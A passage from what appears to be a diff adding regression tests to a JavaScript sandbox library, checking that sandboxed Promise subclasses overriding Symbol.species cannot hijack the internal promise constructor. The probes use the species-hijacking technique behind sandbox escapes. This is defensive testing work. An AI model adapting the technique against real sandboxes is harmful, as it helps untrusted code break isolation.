Variant: confirm that the species protocol invoked by the swallow\n+\t\t// tail does NOT pass through a sandbox-supplied `ct`. If our fix is\n+\t\t// effective, the species protocol resolves to `localPromise` and `ct`\n+\t\t// is never invoked at all.\n+\t\tconst vm = new VM({ timeout: 5000 });\n+\t\tconst ctCalled = vm.run(`\n+\t\t\tlet ctInvocations = 0;\n+\t\t\tclass FakePromise extends Promise {\n+\t\t\t\tstatic get [Symbol.species](){\n+\t\t\t\t\treturn function(executor){\n+\t\t\t\t\t\tctInvocations++;\n+\t\t\t\t\t\texecutor(function(){}, function(){});\n+\t\t\t\t\t};\n+\t\t\t\t}\n+\t\t\t}\n+\t\t\tnew FakePromise(function(r){ r(1); });\n+\t\t\tctInvocations;\n+\t\t`);\n+\t\tassert.strictEqual(ctCalled, 0, 'species protocol invoked attacker-supplied constructor in swallow tail');\n+\t\tsetTimeout(done, 300);\n+\t});\n+\n+\tit.cond('deeply nested subclass cannot hijack species in the swallow tail', HAS_WITH_RESOLVERS, function (done) {\n+\t\tconst vm = new VM({ timeout: 5000 });\n+\t\tconst ctCalled = vm.run(`\n+\t\t\tlet ctInvocations = 0;\n+\t\t\tclass Fake1 extends Promise {\n+\t\t\t\tstatic get [Symbol.species](){\n+\t\t\t\t\treturn function(executor){\n+\t\t\t\t\t\tctInvocations++;\n+\t\t\t\t\t\texecutor(function(){}, function(){});\n+\t\t\t\t\t};\n+\t\t\t\t}\n+\t\t\t}\n+\t\t\tclass Fake2 extends Fake1 {}\n+\t\t\tclass Fake3 extends Fake2 {}\n+\t\t\tnew Fake3(function(r){ r(1); });\n+\t\t\tctInvocations;\n+\t\t`);\n+\t\tassert.strictEqual(ctCalled, 0, 'subclass chain reached attacker-supplied species in swallow tail');\n+\t\tsetTimeout(done, 300);\n+\t});\n+\n+\tit('legitimate sandbox Promise subclass still works (no regression)', function (done) {\n+\t\tconst vm = new VM({ timeout: 5000 });\n+\t\t// A benign subclass with no species override should chain normally.\n+\t\tconst ok = vm.run(`\n+\t\t\tclass MyPromise extends Promise {}\n+\t\t\tconst p = new MyPromise(function(r){ r(42); });\n+\t\t\tp.then(function(v){ globalThis.__benign = v; });\n+\t\t\ttrue;\n+\t\t`);\n+\t\tassert.strictEqual(ok, true);\n+\t\tsetTimeout(function () {\n+\t\t\tconst v = vm.run('globalThis.__benign');\n+\t\t\tassert.strictEqual(v, 42, 'benign subclass chain did not deliver value');\n+\t\t\tdone();\n+\t\t}, 300);\n+\t});\n+});"}]}